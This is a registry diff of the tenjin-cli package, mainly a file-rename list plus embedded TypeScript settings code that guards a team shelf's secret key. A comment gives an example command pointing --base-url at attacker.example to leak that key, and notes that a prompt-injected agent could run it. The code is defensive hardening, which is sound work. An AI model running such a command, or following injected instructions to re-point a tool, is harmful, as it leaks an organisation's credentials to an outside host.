tenjin-cli 0.1.0-alpha.31 → 0.1.0-alpha.33
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +45 -26
- package/dist/{_esm-MEXZI5DL.js → _esm-BIN7VY2L.js} +128 -132
- package/dist/{alive-J64H46HI.js → alive-GSOWKUOY.js} +13 -6
- package/dist/auto-update-Y24UL56V.js +24 -0
- package/dist/{ccip-7RMRLAGV.js → ccip-DHDFKTQV.js} +2 -2
- package/dist/{chunk-TTNESUPQ.js → chunk-2GP3HRYK.js} +2120 -193
- package/dist/chunk-2GP3HRYK.js.map +1 -0
- package/dist/chunk-2M2VPI2E.js +560 -0
- package/dist/chunk-2M2VPI2E.js.map +1 -0
- package/dist/{chunk-D65GNPS3.js → chunk-2RWB7RKE.js} +288 -108
- package/dist/chunk-2RWB7RKE.js.map +1 -0
- package/dist/{chunk-AGZ7PJKY.js → chunk-36RVGZNY.js} +22 -5
- package/dist/chunk-36RVGZNY.js.map +1 -0
- package/dist/chunk-3AIHRXKO.js +72 -0
- package/dist/chunk-3AIHRXKO.js.map +1 -0
- package/dist/{chunk-S4SAZ7OD.js → chunk-3FMZGI7I.js} +12 -2
- package/dist/{chunk-S4SAZ7OD.js.map → chunk-3FMZGI7I.js.map} +1 -1
- package/dist/chunk-3GNJXKIT.js +198 -0
- package/dist/chunk-3GNJXKIT.js.map +1 -0
- package/dist/{chunk-UQUOVWBG.js → chunk-4K7TQHNP.js} +7 -7
- package/dist/{chunk-A36LQPHV.js → chunk-4LMUQMBH.js} +1 -1
- package/dist/{chunk-A36LQPHV.js.map → chunk-4LMUQMBH.js.map} +1 -1
- package/dist/{chunk-KXQ4UIP7.js → chunk-4USCZ2NI.js} +2 -2
- package/dist/chunk-4YOZGGTZ.js +247 -0
- package/dist/chunk-4YOZGGTZ.js.map +1 -0
- package/dist/chunk-62KNUYWD.js +111 -0
- package/dist/chunk-62KNUYWD.js.map +1 -0
- package/dist/{chunk-POUWHWID.js → chunk-6CMM6YCB.js} +3 -3
- package/dist/{chunk-POUWHWID.js.map → chunk-6CMM6YCB.js.map} +1 -1
- package/dist/{chunk-5MARFNSB.js → chunk-A5GKIG5O.js} +49 -30
- package/dist/chunk-A5GKIG5O.js.map +1 -0
- package/dist/{chunk-YFPY4ONH.js → chunk-AGMVASXZ.js} +4 -4
- package/dist/chunk-BF4XHEQK.js +116 -0
- package/dist/chunk-BF4XHEQK.js.map +1 -0
- package/dist/chunk-BFDQ4WNW.js +119 -0
- package/dist/chunk-BFDQ4WNW.js.map +1 -0
- package/dist/{chunk-P4NH7OUK.js → chunk-C2Q76BVM.js} +49 -50
- package/dist/chunk-C2Q76BVM.js.map +1 -0
- package/dist/chunk-CEXSOI5R.js +808 -0
- package/dist/chunk-CEXSOI5R.js.map +1 -0
- package/dist/{chunk-QSCPK4F5.js → chunk-E7SW44LM.js} +4 -11
- package/dist/chunk-E7SW44LM.js.map +1 -0
- package/dist/chunk-EDJWHDDL.js +33 -0
- package/dist/chunk-EDJWHDDL.js.map +1 -0
- package/dist/chunk-F3ED5WTR.js +13 -0
- package/dist/chunk-F3ED5WTR.js.map +1 -0
- package/dist/{chunk-K72RURN3.js → chunk-FVIGCDSV.js} +2 -2
- package/dist/chunk-FVIGCDSV.js.map +1 -0
- package/dist/{chunk-5K5W4S66.js → chunk-GTTUCOPD.js} +2 -2
- package/dist/{chunk-4ZZO6ULA.js → chunk-HDPUXS3Z.js} +19 -48
- package/dist/chunk-HDPUXS3Z.js.map +1 -0
- package/dist/{chunk-LEFIX6RS.js → chunk-HGGWCP7W.js} +31 -11
- package/dist/chunk-HGGWCP7W.js.map +1 -0
- package/dist/{chunk-ORWL5BSN.js → chunk-HGZEPQUT.js} +2 -2
- package/dist/chunk-HMWYAUA6.js +478 -0
- package/dist/chunk-HMWYAUA6.js.map +1 -0
- package/dist/{chunk-7QKHZQKW.js → chunk-IADZOXKN.js} +39 -6
- package/dist/chunk-IADZOXKN.js.map +1 -0
- package/dist/{chunk-7Q5FDF65.js → chunk-IE7P2BZE.js} +3 -3
- package/dist/{chunk-77TCKDEC.js → chunk-ILNIZ5I2.js} +788 -508
- package/dist/chunk-ILNIZ5I2.js.map +1 -0
- package/dist/{hosts-FWZOV26H.js → chunk-INTFHMU4.js} +79 -24
- package/dist/chunk-INTFHMU4.js.map +1 -0
- package/dist/{chunk-6E5R45ZO.js → chunk-J57UC3DD.js} +4 -4
- package/dist/{chunk-6E5R45ZO.js.map → chunk-J57UC3DD.js.map} +1 -1
- package/dist/chunk-JNJWBTU2.js +3497 -0
- package/dist/chunk-JNJWBTU2.js.map +1 -0
- package/dist/{chunk-7WU4OPLP.js → chunk-KM7RY2ZS.js} +5 -3
- package/dist/{chunk-7WU4OPLP.js.map → chunk-KM7RY2ZS.js.map} +1 -1
- package/dist/chunk-L6JEXB3E.js +293 -0
- package/dist/chunk-L6JEXB3E.js.map +1 -0
- package/dist/chunk-LRW6S53P.js +450 -0
- package/dist/chunk-LRW6S53P.js.map +1 -0
- package/dist/{chunk-UKY4CHNC.js → chunk-LXAYUOXI.js} +24 -11
- package/dist/chunk-LXAYUOXI.js.map +1 -0
- package/dist/{chunk-WJXLQXJY.js → chunk-MPZUYCAP.js} +4 -1
- package/dist/{chunk-WJXLQXJY.js.map → chunk-MPZUYCAP.js.map} +1 -1
- package/dist/chunk-NDGZDTSJ.js +393 -0
- package/dist/chunk-NDGZDTSJ.js.map +1 -0
- package/dist/{chunk-SJLTEINJ.js → chunk-OJNTCYQQ.js} +17 -1
- package/dist/chunk-OJNTCYQQ.js.map +1 -0
- package/dist/{chunk-OHRR5OYM.js → chunk-P3LFTKE7.js} +5 -10
- package/dist/chunk-P3LFTKE7.js.map +1 -0
- package/dist/{chunk-XZKD7DIF.js → chunk-RL5UUDT4.js} +3 -3
- package/dist/{chunk-XZKD7DIF.js.map → chunk-RL5UUDT4.js.map} +1 -1
- package/dist/{chunk-5C32RLTA.js → chunk-RVPYTUP4.js} +20 -5
- package/dist/chunk-RVPYTUP4.js.map +1 -0
- package/dist/{chunk-YVFXE7RR.js → chunk-SNNSAGMT.js} +7279 -2627
- package/dist/chunk-SNNSAGMT.js.map +1 -0
- package/dist/{chunk-WK7F3B2E.js → chunk-SO3XRZPX.js} +3 -3
- package/dist/{chunk-R5LCN54M.js → chunk-TC2WZLSC.js} +13 -17
- package/dist/{chunk-R5LCN54M.js.map → chunk-TC2WZLSC.js.map} +1 -1
- package/dist/{chunk-B7HUUJOK.js → chunk-TKPF35W6.js} +3 -3
- package/dist/{chunk-KXVP2VKA.js → chunk-U3IKUGRP.js} +32 -33
- package/dist/chunk-U3IKUGRP.js.map +1 -0
- package/dist/{chunk-AKWGE6JQ.js → chunk-UUGOUOVT.js} +37 -2
- package/dist/chunk-UUGOUOVT.js.map +1 -0
- package/dist/{chunk-2XLC3AEX.js → chunk-UXZONNEQ.js} +536 -510
- package/dist/chunk-UXZONNEQ.js.map +1 -0
- package/dist/{chunk-7ZRL2LBQ.js → chunk-V2LQLN5H.js} +6 -6
- package/dist/{chunk-NEFNKLBE.js → chunk-WFSPCCVW.js} +1536 -423
- package/dist/chunk-WFSPCCVW.js.map +1 -0
- package/dist/{chunk-27EPWVOY.js → chunk-WXA2BWTE.js} +7 -3
- package/dist/chunk-WXA2BWTE.js.map +1 -0
- package/dist/chunk-WYXUQGOL.js +191 -0
- package/dist/chunk-WYXUQGOL.js.map +1 -0
- package/dist/chunk-X5ZBP3IY.js +97 -0
- package/dist/chunk-X5ZBP3IY.js.map +1 -0
- package/dist/{chunk-MNXS2U45.js → chunk-ZDZERB6L.js} +206 -297
- package/dist/chunk-ZDZERB6L.js.map +1 -0
- package/dist/chunk-ZNNXRNFD.js +113 -0
- package/dist/chunk-ZNNXRNFD.js.map +1 -0
- package/dist/{chunk-FW75G2W4.js → chunk-ZURZHELF.js} +5 -5
- package/dist/{cli-D5OE3URZ.js → cli-E36SPKBW.js} +145 -64
- package/dist/{cli-D5OE3URZ.js.map → cli-E36SPKBW.js.map} +1 -1
- package/dist/{codex-event-PPNVRRDH.js → codex-event-ZO2GEFE6.js} +2 -2
- package/dist/{codex-host-2RJOJW2B.js → codex-host-KECJVTA2.js} +7 -6
- package/dist/codex-install-HQZDGFXW.js +436 -0
- package/dist/codex-install-HQZDGFXW.js.map +1 -0
- package/dist/{config-ZD4OB2DO.js → config-HY2E4GGW.js} +21 -17
- package/dist/doctor-I6XQEKWD.js +1323 -0
- package/dist/doctor-I6XQEKWD.js.map +1 -0
- package/dist/{env-proxy-XL4P73MZ.js → env-proxy-R6ZMLQTT.js} +6 -2
- package/dist/{ethersCompat-Df4a6QIZ-THAVUGIJ.js → ethersCompat-Df4a6QIZ-X6YZWAML.js} +3 -3
- package/dist/{fund-5ITKQGYF.js → fund-2QRO7OJL.js} +43 -37
- package/dist/{fund-5ITKQGYF.js.map → fund-2QRO7OJL.js.map} +1 -1
- package/dist/hook-command-2UBCSZG6.js +43 -0
- package/dist/hosts/claude/.claude-plugin/marketplace.json +2 -2
- package/dist/hosts/claude/tenjin/.claude-plugin/plugin.json +2 -2
- package/dist/hosts/claude/tenjin/hooks/register.tsx +51 -11
- package/dist/hosts/claude/tenjin/skills/tenjin-pay/SKILL.md +82 -0
- package/dist/hosts/claude/tenjin/types/index.d.ts +2 -1
- package/dist/hosts/codex/tenjin/.mcp.json +3 -0
- package/dist/hosts/codex/tenjin/hooks/hooks.json +51 -5
- package/dist/hosts-DVQJ32QC.js +38 -0
- package/dist/index.js +32 -11
- package/dist/index.js.map +1 -1
- package/dist/install-ILUX5C4A.js +107 -0
- package/dist/{install-identity-K7EJIQFP.js → install-identity-TZKGY6LQ.js} +11 -10
- package/dist/install-wallet-5M4OTYLX.js +281 -0
- package/dist/install-wallet-5M4OTYLX.js.map +1 -0
- package/dist/isows-native-Q2UDIVPT.js +9 -0
- package/dist/isows-native-Q2UDIVPT.js.map +1 -0
- package/dist/{mcp-3LIJSSJB.js → mcp-LE4DUS22.js} +785 -211
- package/dist/mcp-LE4DUS22.js.map +1 -0
- package/dist/{mine.wasm-6PIT3DK6.js → mine.wasm-QFAHIFPY.js} +2 -2
- package/dist/{mine.wasm-6PIT3DK6.js.map → mine.wasm-QFAHIFPY.js.map} +1 -1
- package/dist/{package-ZKQFDWLE.js → package-IJFGMWEV.js} +4 -2
- package/dist/passphrase-IFTDS3CU.js +44 -0
- package/dist/{paths-POPTXJO6.js → paths-XCSAKISU.js} +10 -2
- package/dist/{pay-WHBERZ3W.js → pay-WCG3IH4R.js} +29 -29
- package/dist/{payments-KVICEKD2.js → payments-HFPPWHTV.js} +15 -14
- package/dist/{payments-KVICEKD2.js.map → payments-HFPPWHTV.js.map} +1 -1
- package/dist/plugin-registration-PZFI5GZW.js +68 -0
- package/dist/{redact-6W23GGJC.js → redact-D7ASVWKL.js} +2 -2
- package/dist/runtime-UZOKSUZX.js +1321 -0
- package/dist/runtime-UZOKSUZX.js.map +1 -0
- package/dist/runtime-fetch-ZSSSK72Y.js +23 -0
- package/dist/runtime-layout-WIDILZ6K.js +25 -0
- package/dist/{send-7G7Y7DLN.js → send-GCVEAQKL.js} +24 -22
- package/dist/{send-7G7Y7DLN.js.map → send-GCVEAQKL.js.map} +1 -1
- package/dist/{status-OF7RH5HM.js → status-HCVAOCN7.js} +55 -25
- package/dist/status-HCVAOCN7.js.map +1 -0
- package/dist/{status-line-XOUE6MPL.js → status-line-OPCXDHL2.js} +10 -9
- package/dist/{status-line-XOUE6MPL.js.map → status-line-OPCXDHL2.js.map} +1 -1
- package/dist/uninstall-BAWRBXXQ.js +481 -0
- package/dist/uninstall-BAWRBXXQ.js.map +1 -0
- package/dist/update-CACXLQLR.js +56 -0
- package/dist/update-CACXLQLR.js.map +1 -0
- package/dist/{usdc-OGOGEHV2.js → usdc-VG4CIOUK.js} +6 -8
- package/dist/usdc-VG4CIOUK.js.map +1 -0
- package/dist/{viemAdapter-By13KInL-S3DA7DFW.js → viemAdapter-By13KInL-DOFTEIJV.js} +3 -3
- package/dist/viemAdapter-By13KInL-DOFTEIJV.js.map +1 -0
- package/dist/wallet-QL4UUXEZ.js +55 -0
- package/dist/wallet-QL4UUXEZ.js.map +1 -0
- package/dist/wallet-kdf-worker.mjs +8 -8
- package/docs/agent-permissions.md +50 -28
- package/docs/safety-model.md +1 -1
- package/docs/troubleshooting.md +72 -1
- package/package.json +17 -4
- package/scripts/installers/install.ps1 +67 -0
- package/scripts/installers/install.sh +68 -0
- package/dist/_esm-C5CRWCYU.js +0 -3737
- package/dist/_esm-C5CRWCYU.js.map +0 -1
- package/dist/ccip-NLCSCHKI.js +0 -19
- package/dist/chunk-27EPWVOY.js.map +0 -1
- package/dist/chunk-2XLC3AEX.js.map +0 -1
- package/dist/chunk-4ZZO6ULA.js.map +0 -1
- package/dist/chunk-5C32RLTA.js.map +0 -1
- package/dist/chunk-5IEP5EGE.js +0 -5332
- package/dist/chunk-5IEP5EGE.js.map +0 -1
- package/dist/chunk-5MARFNSB.js.map +0 -1
- package/dist/chunk-77TCKDEC.js.map +0 -1
- package/dist/chunk-7EKYXMUO.js +0 -7536
- package/dist/chunk-7EKYXMUO.js.map +0 -1
- package/dist/chunk-7QKHZQKW.js.map +0 -1
- package/dist/chunk-AGZ7PJKY.js.map +0 -1
- package/dist/chunk-AKWGE6JQ.js.map +0 -1
- package/dist/chunk-BL3332HQ.js +0 -7611
- package/dist/chunk-BL3332HQ.js.map +0 -1
- package/dist/chunk-D65GNPS3.js.map +0 -1
- package/dist/chunk-EGELTSPU.js +0 -2865
- package/dist/chunk-EGELTSPU.js.map +0 -1
- package/dist/chunk-GA7JETVM.js +0 -150
- package/dist/chunk-GA7JETVM.js.map +0 -1
- package/dist/chunk-I3EQFHCD.js +0 -175
- package/dist/chunk-I3EQFHCD.js.map +0 -1
- package/dist/chunk-K3I7C2MO.js +0 -1185
- package/dist/chunk-K3I7C2MO.js.map +0 -1
- package/dist/chunk-K72RURN3.js.map +0 -1
- package/dist/chunk-KXVP2VKA.js.map +0 -1
- package/dist/chunk-LEFIX6RS.js.map +0 -1
- package/dist/chunk-MNXS2U45.js.map +0 -1
- package/dist/chunk-NEFNKLBE.js.map +0 -1
- package/dist/chunk-OHRR5OYM.js.map +0 -1
- package/dist/chunk-P4NH7OUK.js.map +0 -1
- package/dist/chunk-QSCPK4F5.js.map +0 -1
- package/dist/chunk-SJLTEINJ.js.map +0 -1
- package/dist/chunk-TTNESUPQ.js.map +0 -1
- package/dist/chunk-UKY4CHNC.js.map +0 -1
- package/dist/chunk-V6BSF6OC.js +0 -260
- package/dist/chunk-V6BSF6OC.js.map +0 -1
- package/dist/chunk-YVFXE7RR.js.map +0 -1
- package/dist/codex-install-UUZ6QMBQ.js +0 -221
- package/dist/codex-install-UUZ6QMBQ.js.map +0 -1
- package/dist/doctor-KBR34Q4B.js +0 -601
- package/dist/doctor-KBR34Q4B.js.map +0 -1
- package/dist/hook-command-4TYCHHRL.js +0 -39
- package/dist/hosts-FWZOV26H.js.map +0 -1
- package/dist/install-XWGE4Q7L.js +0 -77
- package/dist/install-wallet-XQ6XFZV4.js +0 -117
- package/dist/install-wallet-XQ6XFZV4.js.map +0 -1
- package/dist/mcp-3LIJSSJB.js.map +0 -1
- package/dist/plugin-registration-5TIA564H.js +0 -54
- package/dist/status-OF7RH5HM.js.map +0 -1
- package/dist/uninstall-JXUAFNDB.js +0 -158
- package/dist/uninstall-JXUAFNDB.js.map +0 -1
- package/dist/update-ZKUERSO2.js +0 -44
- package/dist/wallet-2HA6W4R4.js +0 -43
- /package/dist/{_esm-MEXZI5DL.js.map → _esm-BIN7VY2L.js.map} +0 -0
- /package/dist/{alive-J64H46HI.js.map → alive-GSOWKUOY.js.map} +0 -0
- /package/dist/{ccip-7RMRLAGV.js.map → auto-update-Y24UL56V.js.map} +0 -0
- /package/dist/{ccip-NLCSCHKI.js.map → ccip-DHDFKTQV.js.map} +0 -0
- /package/dist/{chunk-UQUOVWBG.js.map → chunk-4K7TQHNP.js.map} +0 -0
- /package/dist/{chunk-KXQ4UIP7.js.map → chunk-4USCZ2NI.js.map} +0 -0
- /package/dist/{chunk-YFPY4ONH.js.map → chunk-AGMVASXZ.js.map} +0 -0
- /package/dist/{chunk-5K5W4S66.js.map → chunk-GTTUCOPD.js.map} +0 -0
- /package/dist/{chunk-ORWL5BSN.js.map → chunk-HGZEPQUT.js.map} +0 -0
- /package/dist/{chunk-7Q5FDF65.js.map → chunk-IE7P2BZE.js.map} +0 -0
- /package/dist/{chunk-WK7F3B2E.js.map → chunk-SO3XRZPX.js.map} +0 -0
- /package/dist/{chunk-B7HUUJOK.js.map → chunk-TKPF35W6.js.map} +0 -0
- /package/dist/{chunk-7ZRL2LBQ.js.map → chunk-V2LQLN5H.js.map} +0 -0
- /package/dist/{chunk-FW75G2W4.js.map → chunk-ZURZHELF.js.map} +0 -0
- /package/dist/{codex-event-PPNVRRDH.js.map → codex-event-ZO2GEFE6.js.map} +0 -0
- /package/dist/{codex-host-2RJOJW2B.js.map → codex-host-KECJVTA2.js.map} +0 -0
- /package/dist/{config-ZD4OB2DO.js.map → config-HY2E4GGW.js.map} +0 -0
- /package/dist/{env-proxy-XL4P73MZ.js.map → env-proxy-R6ZMLQTT.js.map} +0 -0
- /package/dist/{ethersCompat-Df4a6QIZ-THAVUGIJ.js.map → ethersCompat-Df4a6QIZ-X6YZWAML.js.map} +0 -0
- /package/dist/{hook-command-4TYCHHRL.js.map → hook-command-2UBCSZG6.js.map} +0 -0
- /package/dist/{install-XWGE4Q7L.js.map → hosts-DVQJ32QC.js.map} +0 -0
- /package/dist/{install-identity-K7EJIQFP.js.map → install-ILUX5C4A.js.map} +0 -0
- /package/dist/{package-ZKQFDWLE.js.map → install-identity-TZKGY6LQ.js.map} +0 -0
- /package/dist/{paths-POPTXJO6.js.map → package-IJFGMWEV.js.map} +0 -0
- /package/dist/{pay-WHBERZ3W.js.map → passphrase-IFTDS3CU.js.map} +0 -0
- /package/dist/{plugin-registration-5TIA564H.js.map → paths-XCSAKISU.js.map} +0 -0
- /package/dist/{redact-6W23GGJC.js.map → pay-WCG3IH4R.js.map} +0 -0
- /package/dist/{update-ZKUERSO2.js.map → plugin-registration-PZFI5GZW.js.map} +0 -0
- /package/dist/{usdc-OGOGEHV2.js.map → redact-D7ASVWKL.js.map} +0 -0
- /package/dist/{viemAdapter-By13KInL-S3DA7DFW.js.map → runtime-fetch-ZSSSK72Y.js.map} +0 -0
- /package/dist/{wallet-2HA6W4R4.js.map → runtime-layout-WIDILZ6K.js.map} +0 -0
|
@@ -6,14 +6,16 @@ import {
|
|
|
6
6
|
CONFIG_DEFAULTS,
|
|
7
7
|
PublishModeSchema,
|
|
8
8
|
SEND_MAX_UNSET,
|
|
9
|
-
external_exports,
|
|
10
9
|
loadRawConfig,
|
|
11
10
|
resolveSettings
|
|
12
|
-
} from "./chunk-
|
|
11
|
+
} from "./chunk-2M2VPI2E.js";
|
|
13
12
|
import {
|
|
14
13
|
PRODUCTION_ORIGIN,
|
|
15
14
|
isSameDeployment
|
|
16
15
|
} from "./chunk-XQJXNMSB.js";
|
|
16
|
+
import {
|
|
17
|
+
external_exports
|
|
18
|
+
} from "./chunk-SNNSAGMT.js";
|
|
17
19
|
import {
|
|
18
20
|
CliError
|
|
19
21
|
} from "./chunk-3UCIG4TG.js";
|
|
@@ -241,4 +243,4 @@ export {
|
|
|
241
243
|
ownedCandidates,
|
|
242
244
|
projectRoot
|
|
243
245
|
};
|
|
244
|
-
//# sourceMappingURL=chunk-
|
|
246
|
+
//# sourceMappingURL=chunk-KM7RY2ZS.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.sh, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.sh, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.sh read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.blog) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.sh as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n 